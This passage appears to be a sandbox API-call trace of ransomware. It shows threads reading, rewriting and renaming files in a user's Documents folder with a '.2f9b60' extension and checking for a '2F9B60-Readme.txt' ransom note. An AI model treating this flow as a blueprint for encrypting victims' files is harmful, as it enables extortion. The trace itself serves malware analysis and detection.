0x755867f5 [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x6b7de3ca [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x18524385 [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x3da776df [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0xdceac45 [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x5f26e7ad [0093.324] RtlRandomEx (in: Seed=0x23b1fc30 | out: Seed=0x23b1fc30) returned 0x377ea5d0 [0093.332] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.332] ReadFile (in: hFile=0xd04, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x23b1fca0, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x23b1fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.332] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0093.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0093.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0093.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f670) returned 1 [0093.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0093.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0093.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f550 [0093.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f550) returned 1 [0093.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0093.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0093.333] WriteFile (in: hFile=0xd04, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x23b1fca0, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x23b1fca0*=0x3c00, lpOverlapped=0x0) returned 1 [0093.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0093.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9ebb0 [0093.336] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.336] WriteFile (in: hFile=0xd04, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x23b1fd50, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x23b1fd50*=0x112, lpOverlapped=0x0) returned 1 [0093.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0093.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0093.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f520 [0093.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f520) returned 1 [0093.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f520 [0093.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f580 [0093.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f5e0 [0093.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f5e0) returned 1 [0093.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0093.338] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0093.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1b82c120 [0093.338] sprintf (in: _Dest=0x1b82c120, _Format="%c%c" | out: _Dest="41") returned 2 [0093.338] sprintf (in: _Dest=0x1b82c122, _Format="%c%c" | out: _Dest="44") returned 2 [0093.338] sprintf (in: _Dest=0x1b82c124, _Format="%c%c" | out: _Dest="a0") returned 2 [0093.338] sprintf (in: _Dest=0x1b82c126, _Format="%c%c" | out: _Dest="82") returned 2 [0093.338] sprintf (in: _Dest=0x1b82c128, _Format="%c%c" | out: _Dest="d3") returned 2 [0093.338] sprintf (in: _Dest=0x1b82c12a, _Format="%c%c" | out: _Dest="06") returned 2 [0093.338] sprintf (in: _Dest=0x1b82c12c, _Format="%c%c" | out: _Dest="71") returned 2 [0093.338] sprintf (in: _Dest=0x1b82c12e, _Format="%c%c" | out: _Dest="63") returned 2 [0093.338] sprintf (in: _Dest=0x1b82c130, _Format="%c%c" | out: _Dest="64") returned 2 [0093.338] sprintf (in: _Dest=0x1b82c132, _Format="%c%c" | out: _Dest="f0") returned 2 [0093.338] sprintf (in: _Dest=0x1b82c134, _Format="%c%c" | out: _Dest="9d") returned 2 [0093.338] sprintf (in: _Dest=0x1b82c136, _Format="%c%c" | out: _Dest="b2") returned 2 [0093.338] sprintf (in: _Dest=0x1b82c138, _Format="%c%c" | out: _Dest="4f") returned 2 [0093.338] sprintf (in: _Dest=0x1b82c13a, _Format="%c%c" | out: _Dest="2c") returned 2 [0093.338] sprintf (in: _Dest=0x1b82c13c, _Format="%c%c" | out: _Dest="c4") returned 2 [0093.338] sprintf (in: _Dest=0x1b82c13e, _Format="%c%c" | out: _Dest="78") returned 2 [0093.338] sprintf (in: _Dest=0x1b82c140, _Format="%c%c" | out: _Dest="0b") returned 2 [0093.338] sprintf (in: _Dest=0x1b82c142, _Format="%c%c" | out: _Dest="f4") returned 2 [0093.338] sprintf (in: _Dest=0x1b82c144, _Format="%c%c" | out: _Dest="50") returned 2 [0093.338] sprintf (in: _Dest=0x1b82c146, _Format="%c%c" | out: _Dest="5f") returned 2 [0093.339] sprintf (in: _Dest=0x1b82c148, _Format="%c%c" | out: _Dest="86") returned 2 [0093.339] sprintf (in: _Dest=0x1b82c14a, _Format="%c%c" | out: _Dest="7a") returned 2 [0093.339] sprintf (in: _Dest=0x1b82c14c, _Format="%c%c" | out: _Dest="b2") returned 2 [0093.339] sprintf (in: _Dest=0x1b82c14e, _Format="%c%c" | out: _Dest="a9") returned 2 [0093.339] sprintf (in: _Dest=0x1b82c150, _Format="%c%c" | out: _Dest="40") returned 2 [0093.339] sprintf (in: _Dest=0x1b82c152, _Format="%c%c" | out: _Dest="39") returned 2 [0093.339] sprintf (in: _Dest=0x1b82c154, _Format="%c%c" | out: _Dest="95") returned 2 [0093.339] sprintf (in: _Dest=0x1b82c156, _Format="%c%c" | out: _Dest="8c") returned 2 [0093.339] sprintf (in: _Dest=0x1b82c158, _Format="%c%c" | out: _Dest="89") returned 2 [0093.339] sprintf (in: _Dest=0x1b82c15a, _Format="%c%c" | out: _Dest="86") returned 2 [0093.339] sprintf (in: _Dest=0x1b82c15c, _Format="%c%c" | out: _Dest="2e") returned 2 [0093.339] sprintf (in: _Dest=0x1b82c15e, _Format="%c%c" | out: _Dest="2b") returned 2 [0093.339] RtlInitAnsiString (in: DestinationString=0x23b1fdc8, SourceString="4144a082d306716364f09db24f2cc4780bf4505f867ab2a94039958c89862e2b" | out: DestinationString="4144a082d306716364f09db24f2cc4780bf4505f867ab2a94039958c89862e2b") [0093.339] RtlAnsiStringToUnicodeString (in: DestinationString=0x23b1fd98, SourceString="4144a082d306716364f09db24f2cc4780bf4505f867ab2a94039958c89862e2b", AllocateDestinationString=1 | out: DestinationString="4144a082d306716364f09db24f2cc4780bf4505f867ab2a94039958c89862e2b") returned 0x0 [0093.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b784a30 [0093.339] wcscat (in: _Dest=0x1b784880, _Source="4144a082d3067163" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4144a082d3067163") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4144a082d3067163" [0093.339] wcscat (in: _Dest=0x1b784880, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4144a082d3067163.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4144a082d3067163.2f9b60" [0093.339] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4144a082d3067163.2f9b60", NtPathName=0x23b1fd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4144a082d3067163.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce114a0 [0093.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce114a0) returned 1 [0093.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.345] NtQueryInformationFile (in: FileHandle=0xd04, IoStatusBlock=0x23b1fdd8, FileInformation=0x23b1fde8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23b1fdd8, FileInformation=0x23b1fde8) returned 0x0 [0093.345] NtSetInformationFile (FileHandle=0xd04, IoStatusBlock=0x23b1fdd8, FileInformation=0x23b1fde8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784880) returned 1 [0093.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784a30) returned 1 [0093.347] FlushFileBuffers (hFile=0xd04) returned 1 [0093.348] CloseHandle (hObject=0xd04) returned 1 [0093.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85ef90 [0093.348] wcscpy (in: _Dest=0x1b85ef90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.348] wcscat (in: _Dest=0x1b85ef90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.349] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0093.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 Thread: id = 528 os_tid = 0xdb8 [0093.355] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RBd RaVzN2wOfo.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rbd ravzn2wofo.doc")) returned 0x20 [0093.355] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RBd RaVzN2wOfo.doc", dwFileAttributes=0x20) returned 1 [0093.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RBd RaVzN2wOfo.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rbd ravzn2wofo.doc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd04 [0093.355] GetFileSizeEx (in: hFile=0xd04, lpFileSize=0x23bbfb20 | out: lpFileSize=0x23bbfb20*=13566) returned 1 [0093.355] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x34fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.355] ReadFile (in: hFile=0xd04, lpBuffer=0x23bbfaa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23bbfae8, lpOverlapped=0x0 | out: lpBuffer=0x23bbfaa0*, lpNumberOfBytesRead=0x23bbfae8*=0x4, lpOverlapped=0x0) returned 1 [0093.356] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0093.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f640 [0093.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f490 [0093.356] NtQuerySystemTime (in: CurrentTime=0x23bbf9e0 | out: CurrentTime=0x23bbf9e0*=132462176991922000) returned 0x0 [0093.356] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x5d4d57e2 [0093.356] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x5bad6831 [0093.356] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x3cbe47c1 [0093.356] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x61261415 [0093.356] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x2a2fe9c2 [0093.356] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x6fb87d78 [0093.356] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x6ed94695 [0093.356] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x7791beb5 [0093.356] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x5475623e [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x720f91b7 [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x70364795 [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x4b90da48 [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0xd52e66c [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x105eadc4 [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x3ae824dd [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x5d154e69 [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0xddf8fed [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x68a57d59 [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x55932606 [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x6cd6acf8 [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x49a8dc0b [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x25072d44 [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x62336eaf [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x37d3f035 [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x3a13dbc [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0xad56795 [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x6a2fcc95 [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x75a9e3d3 [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x5f0de8a6 [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x7f4861e [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0x65039d9a [0093.357] RtlRandomEx (in: Seed=0x23bbf9d0 | out: Seed=0x23bbf9d0) returned 0xe912976 [0093.364] ReadFile (in: hFile=0xd04, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x34fe, lpNumberOfBytesRead=0x23bbf9d0, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x23bbf9d0*=0x34fe, lpOverlapped=0x0) returned 1 [0093.365] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.365] WriteFile (in: hFile=0xd04, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x34fe, lpNumberOfBytesWritten=0x23bbf9d4, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x23bbf9d4*=0x34fe, lpOverlapped=0x0) returned 1 [0093.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0093.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f490 [0093.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f490) returned 1 [0093.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0093.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0093.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0093.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9ebb0 [0093.370] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.370] WriteFile (in: hFile=0xd04, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x23bbfaf0, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x23bbfaf0*=0x116, lpOverlapped=0x0) returned 1 [0093.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166ce0) returned 1 [0093.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f4b0) returned 1 [0093.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f490) returned 1 [0093.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ebb0) returned 1 [0093.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6a0) returned 1 [0093.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f640) returned 1 [0093.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4f0) returned 1 [0093.371] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f670) returned 1 [0093.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b784a30 [0093.371] wcscpy (in: _Dest=0x1b784a30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RBd RaVzN2wOfo.doc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RBd RaVzN2wOfo.doc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RBd RaVzN2wOfo.doc" [0093.371] wcscat (in: _Dest=0x1b784a30, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RBd RaVzN2wOfo.doc.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RBd RaVzN2wOfo.doc.2f9b60" [0093.371] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RBd RaVzN2wOfo.doc.2f9b60", NtPathName=0x23bbfb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RBd RaVzN2wOfo.doc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce114a0 [0093.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce114a0) returned 1 [0093.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.373] NtQueryInformationFile (in: FileHandle=0xd04, IoStatusBlock=0x23bbfb78, FileInformation=0x23bbfb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23bbfb78, FileInformation=0x23bbfb88) returned 0x0 [0093.373] NtSetInformationFile (FileHandle=0xd04, IoStatusBlock=0x23bbfb78, FileInformation=0x23bbfb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784a30) returned 1 [0093.374] FlushFileBuffers (hFile=0xd04) returned 1 [0093.375] CloseHandle (hObject=0xd04) returned 1 [0093.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f190 [0093.376] wcscpy (in: _Dest=0x1b85f190, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.376] wcscat (in: _Dest=0x1b85f190, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.376] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0093.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 Thread: id = 529 os_tid = 0xdc0 [0093.383] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RgPS.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rgps.xlsx")) returned 0x20 [0093.383] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RgPS.xlsx", dwFileAttributes=0x20) returned 1 [0093.383] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RgPS.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rgps.xlsx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd04 [0093.383] GetFileSizeEx (in: hFile=0xd04, lpFileSize=0x23cdfd80 | out: lpFileSize=0x23cdfd80*=39202) returned 1 [0093.383] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x991e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.383] ReadFile (in: hFile=0xd04, lpBuffer=0x23cdfd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23cdfd48, lpOverlapped=0x0 | out: lpBuffer=0x23cdfd00*, lpNumberOfBytesRead=0x23cdfd48*=0x4, lpOverlapped=0x0) returned 1 [0093.384] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6d0 [0093.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0093.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4f0 [0093.384] NtQuerySystemTime (in: CurrentTime=0x23cdfc40 | out: CurrentTime=0x23cdfc40*=132462176992234000) returned 0x0 [0093.384] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x6236d7f6 [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x7f385571 [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x647ef19c [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x11d99da0 [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x67bf3f9e [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x3412531a [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x6f1302bd [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x610a97e5 [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x2d41519c [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x30a9ce6a [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x24e649bb [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x4a605737 [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x60d2d4d9 [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x45705b31 [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x5bb470b8 [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x37e5b01e [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x4afd59a8 [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x3706d4fb [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x647e118 [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x6dd99493 [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x67ced098 [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x54862859 [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x176b82a9 [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x48d337c2 [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x76845582 [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x10b8ad44 [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x2211796e [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 | out: Seed=0x23cdfc30) returned 0x3d6a89b [0093.385] RtlRandomEx (in: Seed=0x23cdfc30 